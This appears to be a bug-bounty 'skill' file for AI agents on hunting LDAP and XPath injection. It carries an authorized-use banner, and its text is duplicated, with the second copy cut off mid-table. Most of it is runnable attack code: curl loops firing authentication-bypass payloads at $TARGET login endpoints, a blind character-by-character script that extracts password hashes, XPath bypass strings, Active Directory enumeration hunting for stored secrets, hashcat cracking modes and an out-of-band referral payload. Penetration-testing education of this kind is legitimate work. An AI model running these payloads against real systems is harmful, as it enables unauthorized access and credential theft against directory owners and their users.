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Docs-only; helper scripts and commands\n  not bundled.\nsources: hackerone_public, owasp, portswigger\nreport_count: 0\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-LDAP — LDAP Injection & XPath Injection\n\n> Grounding note: LDAP injection is rarely disclosed with verbatim payloads on\n> public platforms (most live on internal-pentest reports). This skill is\n> grounded in the **OWASP LDAP Injection Prevention \u002F Testing Guide\n> (WSTG-INPV-06)**, **PortSwigger Web Security Academy (LDAP injection)**, and\n> the **RFC 4515** filter grammar — all publicly verifiable references rather\n> than invented HackerOne IDs. Do not cite a report you cannot link.\n\n## Crown Jewel Targets\n\nLDAP injection that bypasses authentication = **Critical**. Blind attribute\nexfiltration of credentials\u002Fsecrets = **High**. AD enumeration alone = Medium-High.\n\n**Highest-value chains:**\n- **LDAP auth bypass** — close the `uid` filter and append an always-true OR so the\n  bind\u002Fsearch returns the admin entry without a valid password.\n- **Blind attribute exfil** — char-by-char extraction of an attribute value via a\n  boolean oracle (login success\u002Ffailure, result count, or response length).\n- **userPassword hash exfil (non-AD only)** — on OpenLDAP\u002F389-DS the\n  `userPassword` attribute can hold `{SSHA}`\u002F`{CRYPT}` hashes that ARE readable\n  by query. See the AD-vs-generic warning below.\n- **XPath injection auth bypass** — `' or '1'='1` against XML-backed auth.\n\n---\n\n## CRITICAL — Active Directory vs generic LDAP\n\nDo **not** conflate the two. They behave very differently:\n\n| | Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |\n|---|---|---|\n| Password attribute | `userPassword` — may hold `{SSHA}`\u002F`{MD5}`\u002F`{CRYPT}` and **is readable** if ACL allows | `unicodePwd` — **write-only**, never returned by any search |\n| Hash exfil via injection | **Possible** where ACLs leak `userPassword` | **Not possible** — there is no readable hash attribute over LDAP |\n| Useful enum attrs | `uid`, `cn`, `mail`, `userPassword` | `sAMAccountName`, `userPrincipalName`, `mail`, `memberOf`, `description` (often holds plaintext secrets!) |\n\n**Do not tell a reader that blind LDAP injection yields AD password hashes — it\ndoes not.** `unicodePwd` is write-only. Against AD, the win is enumeration\n(`sAMAccountName`, `memberOf`, `description`\u002F`info` fields that admins misuse to\nstore passwords) and auth bypass — not hash dumping. The hash-exfil technique\napplies **only** to non-AD directories exposing `userPassword`.\n\n---\n\n## Attack Surface Signals\n\n```\nCorporate SSO \u002F intranet login pages (often legacy Java\u002FSpring\u002FPHP)\nWindows + IIS + \"integrated\" directory auth\n\u002Fapi\u002Fldap\u002F*  \u002Fapi\u002Fdirectory\u002F*  \u002Fpeople  \u002Faddress-book  \u002Fsearch?dir=\n\"Find a colleague\" \u002F org-chart \u002F employee-search features\nXML-backed config or auth → XPath injection candidate\nError strings that confirm an LDAP backend:\n  javax.naming.NameNotFoundException\n  javax.naming.directory.InvalidSearchFilterException\n  LDAP: error code 49 - 80090308  (AD invalid creds \u002F bind failure)\n  com.sun.jndi.ldap.*  \u002F  System.DirectoryServices  \u002F  ldap_search():\n  \"Bad search filter\"  \u002F  net.ldap (Go)  \u002F  python-ldap SERVER_DOWN\n```\n\n---\n\n## LDAP filter grammar (RFC 4515) — why injection works\n\nA login filter is typically built by string-concat:\n\n```\n(&(uid=\u003CUSERNAME>)(userPassword=\u003CPASSWORD>))\n```\n\n`&` = AND, `|` = OR, `!` = NOT. **Filters are prefix\u002FPolish notation** — the\noperator comes first and every sub-filter is parenthesised. To inject you must\n(a) escape the current `(uid=...)` group, (b) inject your own logic, and\n(c) leave the overall parenthesis count **balanced** or the server throws a\nfilter-syntax error instead of executing.\n\n### The special-character set — TEST EACH ONE\n\nThese characters are syntactically meaningful and MUST be escaped by a safe app\n(RFC 4515 §3). If the app reflects an error or behaves differently when you send\nthem raw, the input is unescaped → injectable:\n\n| Char | Filter escape | Why it matters |\n|------|---------------|----------------|\n| `*`  | `\\2a` | wildcard — matches any value |\n| `(`  | `\\28` | opens a filter group |\n| `)`  | `\\29` | closes a filter group |\n| `\\`  | `\\5c` | escape char itself |\n| NUL  | `\\00` | string terminator — truncates filter in C-backed servers |\n| `\u002F`  | (DN context) | RDN separator — relevant for DN injection |\n\n**Search-filter context vs DN injection** are different bugs:\n- **Search-filter injection** (most common): your input lands inside a\n  `(attr=VALUE)` filter. Payloads use `* ( ) & | !`.\n- **DN injection**: your input is concatenated into a Distinguished Name\n  (`uid=VALUE,ou=people,dc=corp`). Here `,` `=` `+` `\"` `\\` `\u003C` `>` `;` and `\u002F`\n  matter, and a `*` is NOT a wildcard. Test both — the payloads do not transfer.\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Confirm an LDAP backend (baseline first)\n\n```bash\n# ALWAYS capture a control response first — you compare everything to this.\nBASE=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}|%{size_download}|%{time_total}\" \\\n  -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"validlookinguser\",\"password\":\"wrongpass\"}')\necho \"BASELINE (valid-format, wrong pw): $BASE\"\n\n# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.\n# An INJECTABLE app → 500 \u002F filter-syntax error \u002F different size.\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"test)\",\"password\":\"x\"}' | grep -iE \\\n  \"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search\"\n```\n\nA lone `)` that produces a syntax error\u002F500 while a balanced payload does not is\nthe cleanest LDAP-injection tell — note it, you will need it as proof.\n\n### Phase 2 — Auth-bypass payloads (balance your parentheses)\n\n```bash\n# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))\n# Goal: make the uid sub-filter always-true and neutralise the password clause.\n\n# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):\n#   username = *)(uid=*))(|(uid=*    password = anything\n# Always-true admin (OR uid=*):\n#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)\n# NUL-truncate the password clause (C-backed servers):\n#   username = admin)(uid=*))%00      password = x\n\nUSERNAME_PAYLOADS=(\n  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below\n  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic\n  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true\n  'admin*'                 # simple wildcard suffix — try first, lowest noise\n)\n\nfor P in \"${USERNAME_PAYLOADS[@]}\"; do\n  R=$(curl -s -w \"|%{http_code}|%{size_download}\" -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n    -H \"Content-Type: application\u002Fjson\" \\\n    -d \"{\\\"username\\\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' \"$P\"),\\\"password\\\":\\\"anything\\\"}\")\n  echo \"PAYLOAD: $P\"\n  echo \"RESP:    ${R: -40}\"\n  echo \"BASE:    $BASE   \u003C-- compare http_code+size to rule out false positive\"\n  echo \"---\"\ndone\n```\n\n**Parenthesis-balancing rule of thumb:** count `(` minus `)` in the *resulting*\nfull filter, not just your payload. If the app appends `)(userPassword=...))`\nafter your input, leave the right number of trailing `)` so the final string is\nbalanced. An unbalanced filter = syntax error = NOT a bypass (false positive).\n\n### Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)\n\nRaw `size_download` diffing is noise-prone (WAF banners, CSRF tokens, timestamps,\nlength-jitter on the injected char itself). Use a **paired true\u002Ffalse control**\nso the oracle is the *response*, not the absolute size.\n\n```bash\n# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.\n# TRUE : admin)(uid=*))(|(uid=*     -> entry exists\n# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ\nprobe () {  # $1 = filter-tail payload -> prints normalized size\n  curl -s -o \u002Fdev\u002Fnull -w \"%{size_download}\" -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n    -H \"Content-Type: application\u002Fjson\" \\\n    -d \"{\\\"username\\\":\\\"$1\\\",\\\"password\\\":\\\"x\\\"}\"\n}\nT=$(probe 'admin)(uid=*))(|(uid=*')\nF=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')\necho \"TRUE-class size=$T  FALSE-class size=$F\"\n[ \"$T\" = \"$F\" ] && { echo \"No length oracle — try a STATUS or BODY-MARKER oracle, or OOB.\"; exit; }\n\n# Now extract char-by-char. The boolean test compares against $T\u002F$F, NOT a guess.\n# Filter: (&(uid=admin)(userPassword=\u003CPREFIX>\u003CCHAR>*))  on a NON-AD directory.\nPREFIX=\"\"\nfor pos in $(seq 1 32); do\n  for C in {a..z} {A..Z} {0..9} '$' '\u002F' '.' '+' '=' '{' '}'; do\n    S=$(probe \"admin)(userPassword=${PREFIX}${C}*))(|(uid=*\")\n    if [ \"$S\" = \"$T\" ]; then PREFIX=\"${PREFIX}${C}\"; echo \"[$pos] -> $PREFIX\"; break; fi\n  done\ndone\necho \"RECOVERED: $PREFIX\"\n```\n\nFalse-positive guards for blind exfil:\n- **Repeat each positive char 3x** and confirm the size is stable — length-jitter\n  from the attacker-controlled char itself is the #1 false positive.\n- Confirm the **FALSE control still returns the FALSE size** after each round (the\n  app didn't just start erroring on every request — WAF block looks like a match).\n- If body length is unreliable, switch the oracle to **HTTP status**, a **body\n  marker string** (`\"Invalid credentials\"` present\u002Fabsent), or **timing** with a\n  heavy filter — but only after establishing a stable baseline delta.\n\n### Phase 4 — XPath injection (XML-backed auth)\n\n```bash\n# Normal: \u002F\u002Fusers\u002Fuser[name\u002Ftext()='ADMIN' and password\u002Ftext()='PASS']\n# Bypass closes the name predicate and OR-trues the whole expression.\nXPATH_PAYLOADS=(\n  \"' or '1'='1\"\n  \"' or ''='\"\n  \"admin' or '1'='1' or 'a'='b\"     # keeps quoting balanced\n  \"x'] | \u002F\u002Fuser\u002F* | \u002F\u002Fuser[name()='x\"  # blind: dump all user nodes (XPath has no comments)\n  \"*[contains(name(),'pass')]\"          # node-name discovery\n)\nfor P in \"${XPATH_PAYLOADS[@]}\"; do\n  E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' \"$P\")\n  R=$(curl -s -w \"|%{http_code}|%{size_download}\" -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n    --data-urlencode \"username=$P\" --data-urlencode \"password=x\")\n  echo \"$P  ->  ${R: -24}\"\ndone\n# XPath has NO comment syntax — you must keep quotes\u002Fbrackets balanced, unlike SQLi.\n```\n\n### Phase 5 — AD enumeration via wildcard (count oracle, with control)\n\n```bash\n# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.\n# A directory that returns the SAME count for both is NOT leaking via wildcard.\ncount () { curl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fdirectory\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" -d \"{\\\"filter\\\":\\\"(sAMAccountName=$1*)\\\"}\" \\\n  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get(\"results\",d.get(\"users\",[]))))' 2>\u002Fdev\u002Fnull; }\nCTRL=$(count \"zzqx_unlikely\")\necho \"control count (should be ~0): $CTRL\"\nfor L in {a..z}; do echo \"$L* -> $(count $L)  (vs control $CTRL)\"; done\n# Then pivot to memberOf \u002F description for privileged accounts:\n#   (&(sAMAccountName=*)(memberOf=*Domain Admins*))\n#   (description=*pw*)   (description=*pass*)   — admins stash secrets here\n```\n\n### Phase 6 — Tooling & OOB confirmation\n\n```bash\n# Validate the inferred filter directly if you ever get LDAP creds \u002F a bind:\nldapsearch -x -H ldap:\u002F\u002F$AD_HOST -D \"CORP\\\\user\" -w \"$PW\" \\\n  -b \"dc=corp,dc=local\" \"(&(objectClass=user)(sAMAccountName=admin*))\" sAMAccountName memberOf\n\n# Burp: Intruder over the char set for blind exfil; the Web Security Academy\n# \"Blind LDAP injection\" labs mirror the Phase-3 oracle exactly.\n# OOB (rare but decisive): some JNDI\u002FLDAP stacks resolve a referral. If you can\n# inject a referral\u002FURL the server dereferences, point it at Collaborator:\n#   (uid=*))(referral=ldap:\u002F\u002F\u003CCOLLAB>\u002Fx)   — a DNS\u002FLDAP hit at Collaborator\n# is server-side proof with zero ambiguity. Treat any Collaborator interaction\n# as the gold-standard confirmation for otherwise-blind cases.\n```\n\n---\n\n## Chain Table\n\n| LDAP finding | Chain to | Impact |\n|--------------|----------|--------|\n| Auth-bypass (always-true filter) | Admin\u002FSSO panel as first directory entry | Critical |\n| AD enumeration (`sAMAccountName`) | Username list → password spray \u002F credential stuffing | Mass-ATO risk |\n| `memberOf` enumeration | Identify Domain Admins → targeted phishing\u002Fspray | Targeted compromise |\n| `description`\u002F`info` field read | Plaintext creds admins stashed there | Direct credential leak |\n| Blind exfil of `userPassword` **(non-AD only)** | `{SSHA}` (salted SHA-1) → hashcat `-m 111` (`{SSHA256}`=1411, `{SSHA512}`=1711); `{CRYPT}` → mode depends on the `$id$` prefix (`$1$`=500, `$6$`=1800) → offline crack | High |\n| LDAP referral → Collaborator | Server-side request \u002F internal directory reach | SSRF-class, confirms blind |\n\n> AD has no readable password attribute — do not list \"extract AD hashes\" as a\n> chain. Against AD, the credential win comes from `description`\u002F`info` misuse or\n> from enumerated usernames feeding a spray, never from `unicodePwd`.\n\n---\n\n## Validation — rule out the false positive BEFORE you report\n\nA \"bypass\" or \"match\" is only real once you have eliminated syntax-error,\nWAF-block, and length-jitter explanations.\n\n- [ ] **Auth bypass:** the always-true payload returns a **valid authenticated\n      session** (session cookie + access to a post-login resource), and the same\n      request with one paren removed returns a **filter-syntax error** — proving\n      the filter parsed and executed, not that the app fell open on every input.\n- [ ] **Negative control:** an equivalently-shaped but logically-FALSE payload\n      (`)(uid=NONEXISTENT_ZZZ)`) returns the **failure** response. If both\n      true-class and false-class \"succeed\", you found a broken endpoint, not LDAP\n      injection.\n- [ ] **Blind exfil:** each recovered char reproduces 3x with stable size; the\n      FALSE control still reads FALSE between rounds; recovered value verified by\n      a direct lookup or by the auth-bypass payload that uses it.\n- [ ] **XPath:** quotes\u002Fbrackets remained balanced (no 500), and the bypass logged\n      in to a real account context — not just a different error page.\n- [ ] **OOB where possible:** a Collaborator DNS\u002FLDAP interaction from a referral\n      payload is decisive for blind cases — prefer it over length-only inference.\n- [ ] **AD claim discipline:** if you say \"AD\", you enumerated AD-specific attrs\n      (`sAMAccountName`\u002F`memberOf`); never claim AD hash exfil.\n\n**Severity:**\n- Auth bypass landing as admin\u002Fprivileged directory entry: **Critical**\n- `userPassword` hash exfil (non-AD) or `description`-field credential read: **High**\n- AD user\u002Fgroup enumeration only: **Medium-High**\n- Blind boolean oracle confirmed but no useful attribute reachable: **Medium**\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-LDAP — LDAP Injection & XPath Injection\n\n> Grounding note: LDAP injection is rarely disclosed with verbatim payloads on\n> public platforms (most live on internal-pentest reports). This skill is\n> grounded in the **OWASP LDAP Injection Prevention \u002F Testing Guide\n> (WSTG-INPV-06)**, **PortSwigger Web Security Academy (LDAP injection)**, and\n> the **RFC 4515** filter grammar — all publicly verifiable references rather\n> than invented HackerOne IDs. Do not cite a report you cannot link.\n\n## Crown Jewel Targets\n\nLDAP injection that bypasses authentication = **Critical**. Blind attribute\nexfiltration of credentials\u002Fsecrets = **High**. AD enumeration alone = Medium-High.\n\n**Highest-value chains:**\n- **LDAP auth bypass** — close the `uid` filter and append an always-true OR so the\n  bind\u002Fsearch returns the admin entry without a valid password.\n- **Blind attribute exfil** — char-by-char extraction of an attribute value via a\n  boolean oracle (login success\u002Ffailure, result count, or response length).\n- **userPassword hash exfil (non-AD only)** — on OpenLDAP\u002F389-DS the\n  `userPassword` attribute can hold `{SSHA}`\u002F`{CRYPT}` hashes that ARE readable\n  by query. See the AD-vs-generic warning below.\n- **XPath injection auth bypass** — `' or '1'='1` against XML-backed auth.\n\n---\n\n## CRITICAL — Active Directory vs generic LDAP\n\nDo **not** conflate the two. They behave very differently:\n\n| | Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |\n|---|---|---|\n| Password attribute | `userPassword` — may hold `{SSHA}`\u002F`{MD5}`\u002F`{CRYPT}` and **is readable** if ACL allows | `unicodePwd` — **write-only**, never returned by any search |\n| Hash exfil via injection | **Possible** where ACLs leak `userPassword` | **Not possible** — there is no readable hash attribute over LDAP |\n| Useful enum attrs | `uid`, `cn`, `mail`, `userPassword` | `sAMAccountName`, `userPrincipalName`, `mail`, `memberOf`, `description` (often holds plaintext secrets!) |\n\n**Do not tell a reader that blind LDAP injection yields AD password hashes — it\ndoes not.** `unicodePwd` is write-only. Against AD, the win is enumeration\n(`sAMAccountName`, `memberOf`, `description`\u002F`info` fields that admins misuse to\nstore passwords) and auth bypass — not hash dumping. The hash-exfil technique\napplies **only** to non-AD directories exposing `userPassword`.\n\n---\n\n## Attack Surface Signals\n\n```\nCorporate SSO \u002F intranet login pages (often legacy Java\u002FSpring\u002FPHP)\nWindows + IIS + \"integrated\" directory auth\n\u002Fapi\u002Fldap\u002F*  \u002Fapi\u002Fdirectory\u002F*  \u002Fpeople  \u002Faddress-book  \u002Fsearch?dir=\n\"Find a colleague\" \u002F org-chart \u002F employee-search features\nXML-backed config or auth → XPath injection candidate\nError strings that confirm an LDAP backend:\n  javax.naming.NameNotFoundException\n  javax.naming.directory.InvalidSearchFilterException\n  LDAP: error code 49 - 80090308  (AD invalid creds \u002F bind failure)\n  com.sun.jndi.ldap.*  \u002F  System.DirectoryServices  \u002F  ldap_search():\n  \"Bad search filter\"  \u002F  net.ldap (Go)  \u002F  python-ldap SERVER_DOWN\n```\n\n---\n\n## LDAP filter grammar (RFC 4515) — why injection works\n\nA login filter is typically built by string-concat:\n\n```\n(&(uid=\u003CUSERNAME>)(userPassword=\u003CPASSWORD>))\n```\n\n`&` = AND, `|` = OR, `!` = NOT. **Filters are prefix\u002FPolish notation** — the\noperator comes first and every sub-filter is parenthesised. To inject you must\n(a) escape the current `(uid=...)` group, (b) inject your own logic, and\n(c) leave the overall parenthesis count **balanced** or the server throws a\nfilter-syntax error instead of executing.\n\n### The special-character set — TEST EACH ONE\n\nThese characters are syntactically meaningful and MUST be escaped by a safe app\n(RFC 4515 §3). If the app reflects an error or behaves differently when you send\nthem raw, the input is unescaped → injectable:\n\n| Char | Filter escape | Why it matters |\n|------|---------------|----------------|\n| `*`  | `\\2a` | wildcard — matches any value |\n| `(`  | `\\28` | opens a filter group |\n| `)`  | `\\29` | closes a filter group |\n| `\\`  | `\\5c` | escape char itself |\n| NUL  | `\\00` | string terminator — truncates filter in C-backed servers |\n| `\u002F`  | (DN context) | RDN separator — relevant for DN injection |\n\n**Search-filter context vs DN injection** are different bugs:\n- **Search-filter injection** (most common): your input lands inside a\n  `(attr=VALUE)` filter. Payloads use `* ( ) & | !`.\n- **DN injection**: your input is concatenated into a Distinguished Name\n  (`uid=VALUE,ou=people,dc=corp`). Here `,` `=` `+` `\"` `\\` `\u003C` `>` `;` and `\u002F`\n  matter, and a `*` is NOT a wildcard. Test both — the payloads do not transfer.\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Confirm an LDAP backend (baseline first)\n\n```bash\n# ALWAYS capture a control response first — you compare everything to this.\nBASE=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}|%{size_download}|%{time_total}\" \\\n  -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"validlookinguser\",\"password\":\"wrongpass\"}')\necho \"BASELINE (valid-format, wrong pw): $BASE\"\n\n# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.\n# An INJECTABLE app → 500 \u002F filter-syntax error \u002F different size.\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"test)\",\"password\":\"x\"}' | grep -iE \\\n  \"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search\"\n```\n\nA lone `)` that produces a syntax error\u002F500 while a balanced payload does not is\nthe cleanest LDAP-injection tell — note it, you will need it as proof.\n\n### Phase 2 — Auth-bypass payloads (balance your parentheses)\n\n```bash\n# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))\n# Goal: make the uid sub-filter always-true and neutralise the password clause.\n\n# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):\n#   username = *)(uid=*))(|(uid=*    password = anything\n# Always-true admin (OR uid=*):\n#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)\n# NUL-truncate the password clause (C-backed servers):\n#   username = admin)(uid=*))%00      password = x\n\nUSERNAME_PAYLOADS=(\n  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below\n  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic\n  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true\n  'admin*'                 # simple wildcard suffix — try first, lowest noise\n)\n\nfor P in \"${USERNAME_PAYLOADS[@]}\"; do\n  R=$(curl -s -w \"|%{http_code}|%{size_download}\" -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n    -H \"Content-Type: application\u002Fjson\" \\\n    -d \"{\\\"username\\\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' \"$P\"),\\\"password\\\":\\\"anything\\\"}\")\n  echo \"PAYLOAD: $P\"\n  echo \"RESP:    ${R: -40}\"\n  echo \"BASE:    $BASE   \u003C-- compare http_code+size to rule out false positive\"\n  echo \"---\"\ndone\n```\n\n**Parenthesis-balancing rule of thumb:** count `(` minus `)` in the *resulting*\nfull filter, not just your payload. If the app appends `)(userPassword=...))`\nafter your input, leave the right number of trailing `)` so the final string is\nbalanced. An unbalanced filter = syntax error = NOT a bypass (false positive).\n\n### Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)\n\nRaw `size_download` diffing is noise-prone (WAF banners, CSRF tokens, timestamps,\nlength-jitter on the injected char itself). Use a **paired true\u002Ffalse control**\nso the oracle is the *response*, not the absolute size.\n\n```bash\n# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.\n# TRUE : admin)(uid=*))(|(uid=*     -> entry exists\n# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ\nprobe () {  # $1 = filter-tail payload -> prints normalized size\n  curl -s -o \u002Fdev\u002Fnull -w \"%{size_download}\" -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n    -H \"Content-Type: application\u002Fjson\" \\\n    -d \"{\\\"username\\\":\\\"$1\\\",\\\"password\\\":\\\"x\\\"}\"\n}\nT=$(probe 'admin)(uid=*))(|(uid=*')\nF=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')\necho \"TRUE-class size=$T  FALSE-class size=$F\"\n[ \"$T\" = \"$F\" ] && { echo \"No length oracle — try a STATUS or BODY-MARKER oracle, or OOB.\"; exit; }\n\n# Now extract char-by-char. The boolean test compares against $T\u002F$F, NOT a guess.\n# Filter: (&(uid=admin)(userPassword=\u003CPREFIX>\u003CCHAR>*))  on a NON-AD directory.\nPREFIX=\"\"\nfor pos in $(seq 1 32); do\n  for C in {a..z} {A..Z} {0..9} '$' '\u002F' '.' '+' '=' '{' '}'; do\n    S=$(probe \"admin)(userPassword=${PREFIX}${C}*))(|(uid=*\")\n    if [ \"$S\" = \"$T\" ]; then PREFIX=\"${PREFIX}${C}\"; echo \"[$pos] -> $PREFIX\"; break; fi\n  done\ndone\necho \"RECOVERED: $PREFIX\"\n```\n\nFalse-positive guards for blind exfil:\n- **Repeat each positive char 3x** and confirm the size is stable — length-jitter\n  from the attacker-controlled char itself is the #1 false positive.\n- Confirm the **FALSE control still returns the FALSE size** after each round (the\n  app didn't just start erroring on every request — WAF block looks like a match).\n- If body length is unreliable, switch the oracle to **HTTP status**, a **body\n  marker string** (`\"Invalid credentials\"` present\u002Fabsent), or **timing** with a\n  heavy filter — but only after establishing a stable baseline delta.\n\n### Phase 4 — XPath injection (XML-backed auth)\n\n```bash\n# Normal: \u002F\u002Fusers\u002Fuser[name\u002Ftext()='ADMIN' and password\u002Ftext()='PASS']\n# Bypass closes the name predicate and OR-trues the whole expression.\nXPATH_PAYLOADS=(\n  \"' or '1'='1\"\n  \"' or ''='\"\n  \"admin' or '1'='1' or 'a'='b\"     # keeps quoting balanced\n  \"x'] | \u002F\u002Fuser\u002F* | \u002F\u002Fuser[name()='x\"  # blind: dump all user nodes (XPath has no comments)\n  \"*[contains(name(),'pass')]\"          # node-name discovery\n)\nfor P in \"${XPATH_PAYLOADS[@]}\"; do\n  E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' \"$P\")\n  R=$(curl -s -w \"|%{http_code}|%{size_download}\" -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n    --data-urlencode \"username=$P\" --data-urlencode \"password=x\")\n  echo \"$P  ->  ${R: -24}\"\ndone\n# XPath has NO comment syntax — you must keep quotes\u002Fbrackets balanced, unlike SQLi.\n```\n\n### Phase 5 — AD enumeration via wildcard (count oracle, with control)\n\n```bash\n# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.\n# A directory that returns the SAME count for both is NOT leaking via wildcard.\ncount () { curl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fdirectory\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" -d \"{\\\"filter\\\":\\\"(sAMAccountName=$1*)\\\"}\" \\\n  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get(\"results\",d.get(\"users\",[]))))' 2>\u002Fdev\u002Fnull; }\nCTRL=$(count \"zzqx_unlikely\")\necho \"control count (should be ~0): $CTRL\"\nfor L in {a..z}; do echo \"$L* -> $(count $L)  (vs control $CTRL)\"; done\n# Then pivot to memberOf \u002F description for privileged accounts:\n#   (&(sAMAccountName=*)(memberOf=*Domain Admins*))\n#   (description=*pw*)   (description=*pass*)   — admins stash secrets here\n```\n\n### Phase 6 — Tooling & OOB confirmation\n\n```bash\n# Validate the inferred filter directly if you ever get LDAP creds \u002F a bind:\nldapsearch -x -H ldap:\u002F\u002F$AD_HOST -D \"CORP\\\\user\" -w \"$PW\" \\\n  -b \"dc=corp,dc=local\" \"(&(objectClass=user)(sAMAccountName=admin*))\" sAMAccountName memberOf\n\n# Burp: Intruder over the char set for blind exfil; the Web Security Academy\n# \"Blind LDAP injection\" labs mirror the Phase-3 oracle exactly.\n# OOB (rare but decisive): some JNDI\u002FLDAP stacks resolve a referral. If you can\n# inject a referral\u002FURL the server dereferences, point it at Collaborator:\n#   (uid=*))(referral=ldap:\u002F\u002F\u003CCOLLAB>\u002Fx)   — a DNS\u002FLDAP hit at Collaborator\n# is server-side proof with zero ambiguity. Treat any Collaborator interaction\n# as the gold-standard confirmation for otherwise-blind cases.\n```\n\n---\n\n## Chain Table\n\n| LDAP finding | Chain to | Impact |\n|--------------|----------|--------|\n| Auth-bypass (always-true filter) | Admin\u002FSSO panel as first directory entry | Critical |\n| AD enumeration (`sAMAccountName`) | Username list → password spray \u002F credential stuffing | Mass-ATO risk |\n| `memberOf` enumeration | Identify Domain Admins → targeted phishing\u002Fspray | Targeted compromise |\n| `description`\u002F`info` field read | Plaintext creds admins stashed there | Direct credential leak |\n| Blind exfil of `userPassword` **(non-AD only)** | `{SSHA}` (salted SHA-1) → hashcat `-m 111` (`{SSHA256}`=1411, `{SSHA512}`=1711); `{CRYPT}` → mode depends on the `$id$` 